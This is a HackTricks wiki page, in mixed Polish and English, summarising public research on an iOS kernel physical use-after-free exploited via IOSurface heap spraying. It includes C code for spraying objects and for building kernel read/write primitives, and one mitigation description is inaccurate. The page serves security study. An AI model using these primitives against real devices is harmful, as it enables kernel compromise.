mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
229 lines
15 KiB
Markdown
229 lines
15 KiB
Markdown
# iOS Physical Use After Free via IOSurface
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
## iOS Exploit Mitigations
|
||
|
||
- **Code Signing** in iOS działa poprzez wymóg, że każdy kawałek wykonywalnego kodu (aplikacje, biblioteki, rozszerzenia itp.) musi być kryptograficznie podpisany certyfikatem wydanym przez Apple. Gdy kod jest ładowany, iOS weryfikuje podpis cyfrowy względem zaufanego rootu Apple. Jeśli podpis jest nieprawidłowy, brakujący lub zmodyfikowany, system odmówi jego uruchomienia. To uniemożliwia atakującym wstrzykiwanie złośliwego kodu do legalnych aplikacji lub uruchamianie niepodpisanych binarek, skutecznie blokując większość łańcuchów exploitów polegających na wykonywaniu dowolnego kodu.
|
||
- **CoreTrust** to podsystem iOS odpowiedzialny za egzekwowanie code signing w czasie wykonywania. Weryfikuje podpisy bezpośrednio przy użyciu root certyfikatu Apple, nie polegając na lokalnych pamięciach zaufania, co oznacza, że tylko binaria podpisane przez Apple (lub z prawidłowymi entitlements) mogą się wykonać. CoreTrust zapewnia, że nawet jeśli atakujący zmodyfikował aplikację po instalacji, zmienił biblioteki systemowe lub próbował załadować niepodpisany kod, system zablokuje wykonanie, chyba że kod nadal ma poprawny podpis. Ta rygorystyczna egzekucja zamyka wiele wektorów post-exploitation, które starsze wersje iOS pozwalały obejść.
|
||
- **Data Execution Prevention (DEP)** oznacza regiony pamięci jako nie-wykonywalne, chyba że explicite zawierają kod. To uniemożliwia atakującym wstrzykiwanie shellcode do regionów danych (np. stosu czy sterty) i jego uruchamianie, zmuszając do użycia bardziej złożonych technik jak ROP.
|
||
- **ASLR (Address Space Layout Randomization)** losuje adresy pamięci kodu, bibliotek, stosu i sterty przy każdym uruchomieniu systemu. Utrudnia to przewidzenie lokalizacji przydatnych instrukcji lub gadgetów, łamiąc wiele łańcuchów exploitów zależnych od przewidywalnego układu pamięci.
|
||
- **KASLR (Kernel ASLR)** stosuje tę samą losowość do jądra iOS. Przez przetasowanie bazowego adresu jądra przy każdym rozruchu uniemożliwia łatwe znalezienie funkcji lub struktur jądra, podnosząc trudność exploitów na poziomie jądra, które mogłyby uzyskać pełną kontrolę nad systemem.
|
||
- **Kernel Patch Protection (KPP)**, znany również jako **AMCC (Apple Mobile File Integrity)** w iOS, ciągle monitoruje strony kodu jądra, aby upewnić się, że nie zostały zmodyfikowane. Jeśli wykryje manipulację — np. exploit próbujący załatać funkcje jądra lub wstawić złośliwy kod — urządzenie zasygnalizuje panic i zrestartuje się. Ta ochrona utrudnia trwałe exploity jądra, ponieważ atakujący nie mogą po prostu hookować czy modyfikować instrukcji jądra bez wywołania awarii systemu.
|
||
- **Kernel Text Readonly Region (KTRR)** to sprzętowa funkcja bezpieczeństwa wprowadzona na urządzeniach iOS. Używa kontrolera pamięci CPU do oznaczenia sekcji kodu jądra (text) jako permanentnie tylko do odczytu po starcie. Po zablokowaniu nawet samo jądro nie może modyfikować tego regionu pamięci. To zapobiega atakom (i uprzywilejowanemu kodowi) patchowania instrukcji jądra w czasie działania, zamykając dużą klasę exploitów polegających na bezpośredniej modyfikacji kodu jądra.
|
||
- **Pointer Authentication Codes (PAC)** używają podpisów kryptograficznych osadzonych w nieużywanych bitach wskaźników, aby weryfikować ich integralność przed użyciem. Gdy wskaźnik (np. adres powrotu lub wskaźnik funkcji) jest tworzony, CPU podpisuje go sekretnym kluczem; przed dereferencją CPU sprawdza podpis. Jeśli wskaźnik został zmodyfikowany, kontrola zawiedzie i wykonanie zostanie przerwane. To uniemożliwia atakującym fałszowanie lub ponowne użycie podrobionych wskaźników w exploitach korupcji pamięci, utrudniając techniki typu ROP czy JOP.
|
||
- **Privilege Access never (PAN)** to funkcja sprzętowa, która uniemożliwia jądru (tryb uprzywilejowany) bezpośrednie odczytywanie pamięci user-space, chyba że explicite włączy dostęp. To zatrzymuje atakujących, którzy uzyskali wykonanie kodu jądra, przed łatwym czytaniem lub zapisywaniem pamięci użytkownika w celu eskalacji uprawnień lub kradzieży danych. Egzekwując ścisły podział, PAN zmniejsza skutki exploitów jądra i blokuje wiele powszechnych technik eskalacji uprawnień.
|
||
- **Page Protection Layer (PPL)** to mechanizm bezpieczeństwa iOS, który chroni krytyczne regiony pamięci zarządzane przez jądro, szczególnie te związane z code signing i entitlements. Egzekwuje ścisłe ochrony zapisu używając MMU oraz dodatkowych sprawdzeń, zapewniając, że nawet uprzywilejowany kod jądra nie może dowolnie modyfikować wrażliwych stron. To zapobiega atakującym, którzy uzyskali wykonanie na poziomie jądra, przed manipulacją strukturami krytycznymi dla bezpieczeństwa, utrudniając utrzymanie trwałości i obejścia code signing.
|
||
|
||
## Physical use-after-free
|
||
|
||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||
|
||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||
|
||
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
|
||
|
||
#### Levels of Page Tables in iOS
|
||
|
||
Page tables are organized hierarchically in three levels:
|
||
|
||
1. **L1 Page Table (Level 1)**:
|
||
* Each entry here represents a large range of virtual memory.
|
||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||
2. **L2 Page Table (Level 2)**:
|
||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||
3. **L3 Page Table (Level 3)**:
|
||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||
|
||
#### Mapping Virtual to Physical Memory
|
||
|
||
* **Direct Mapping (Block Mapping)**:
|
||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||
* **Pointer to Child Page Table**:
|
||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
|
||
|
||
#### Example: Mapping a Virtual Address
|
||
|
||
Let’s say you try to access the virtual address **0x1000000000**:
|
||
|
||
1. **L1 Table**:
|
||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||
2. **L2 Table**:
|
||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||
3. **L3 Table**:
|
||
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
|
||
|
||
#### Example of Address Mapping
|
||
|
||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||
|
||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||
* This is a **block mapping** at the L2 level.
|
||
|
||
Alternatively, if the L2 entry points to an L3 table:
|
||
|
||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||
|
||
### Physical use-after-free
|
||
|
||
A **physical use-after-free** (UAF) occurs when:
|
||
|
||
1. A process **allocates** some memory as **readable and writable**.
|
||
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
|
||
3. The process **deallocates** (frees) the memory.
|
||
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
|
||
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
|
||
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
|
||
|
||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||
|
||
### IOSurface Heap Spray
|
||
|
||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||
|
||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||
|
||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||
|
||
> [!TIP]
|
||
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
|
||
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
|
||
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
|
||
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
|
||
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
|
||
|
||
### Step-by-Step Heap Spray Process
|
||
|
||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||
* Use one field to **read any 32-bit value** in kernel memory.
|
||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||
|
||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||
```c
|
||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||
if (*nClients >= 0x4000) return;
|
||
for (int i = 0; i < nSurfaces; i++) {
|
||
fast_create_args_t args;
|
||
lock_result_t result;
|
||
|
||
size_t size = IOSurfaceLockResultSize;
|
||
args.address = 0;
|
||
args.alloc_size = *nClients + 1;
|
||
args.pixel_format = IOSURFACE_MAGIC;
|
||
|
||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||
io_connect_t id = result.surface_id;
|
||
|
||
(*clients)[*nClients] = id;
|
||
*nClients = (*nClients) += 1;
|
||
}
|
||
}
|
||
```
|
||
Wyszukaj obiekty **`IOSurface`** na jednej zwolnionej fizycznej stronie:
|
||
```c
|
||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||
int nSurfaceIDs = 0;
|
||
|
||
for (int i = 0; i < 0x400; i++) {
|
||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||
|
||
for (int j = 0; j < nPages; j++) {
|
||
uint64_t start = puafPages[j];
|
||
uint64_t stop = start + (pages(1) / 16);
|
||
|
||
for (uint64_t k = start; k < stop; k += 8) {
|
||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||
info.object = k;
|
||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||
goto sprayDone;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
sprayDone:
|
||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||
if (surfaceIDs[i] == info.surface) continue;
|
||
iosurface_release(client, surfaceIDs[i]);
|
||
}
|
||
free(surfaceIDs);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
### Uzyskanie odczytu/zapisu jądra za pomocą IOSurface
|
||
|
||
Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (zmapowanym do zwolnionej strony fizycznej dostępnej z userspace), możemy go użyć do **dowolnych operacji odczytu i zapisu w jądrze**.
|
||
|
||
**Kluczowe pola w IOSurface**
|
||
|
||
Obiekt IOSurface ma dwa kluczowe pola:
|
||
|
||
1. **Use Count Pointer**: Pozwala na **32-bit read**.
|
||
2. **Indexed Timestamp Pointer**: Pozwala na **64-bit write**.
|
||
|
||
Przez nadpisanie tych wskaźników przekierowujemy je na dowolne adresy w pamięci jądra, umożliwiając operacje odczytu/zapisu.
|
||
|
||
#### 32-Bit Kernel Read
|
||
|
||
Aby wykonać odczyt:
|
||
|
||
1. Nadpisz **use count pointer**, aby wskazywał na docelowy adres minus offset 0x14 bajtów.
|
||
2. Użyj metody `get_use_count`, aby odczytać wartość spod tego adresu.
|
||
```c
|
||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||
uint64_t args[1] = {surfaceID};
|
||
uint32_t size = 1;
|
||
uint64_t out = 0;
|
||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||
return (uint32_t)out;
|
||
}
|
||
|
||
uint32_t iosurface_kread32(uint64_t addr) {
|
||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||
uint32_t value = get_use_count(info.client, info.surface);
|
||
iosurface_set_use_count_pointer(info.object, orig);
|
||
return value;
|
||
}
|
||
```
|
||
#### 64-bitowy zapis w jądrze
|
||
|
||
Aby wykonać zapis:
|
||
|
||
1. Nadpisz **indexed timestamp pointer**, ustawiając go na docelowy adres.
|
||
2. Użyj metody `set_indexed_timestamp`, aby zapisać wartość 64-bitową.
|
||
```c
|
||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||
uint64_t args[3] = {surfaceID, 0, value};
|
||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||
}
|
||
|
||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||
set_indexed_timestamp(info.client, info.surface, value);
|
||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||
}
|
||
```
|
||
#### Podsumowanie przebiegu exploita
|
||
|
||
1. **Wywołaj Physical Use-After-Free**: Zwolnione strony są dostępne do ponownego użycia.
|
||
2. **Spray IOSurface Objects**: Alokuj wiele obiektów IOSurface z unikalną "magic value" w kernel memory.
|
||
3. **Identify Accessible IOSurface**: Znajdź IOSurface na zwolnionej stronie, którą kontrolujesz.
|
||
4. **Abuse Use-After-Free**: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić arbitralne **kernel read/write** za pomocą metod IOSurface.
|
||
|
||
Dzięki tym prymitywom exploit zapewnia kontrolowane **32-bit reads** i **64-bit writes** do kernel memory. Dalsze kroki jailbreak mogą wymagać bardziej stabilnych read/write primitives, które mogą wymagać obejścia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|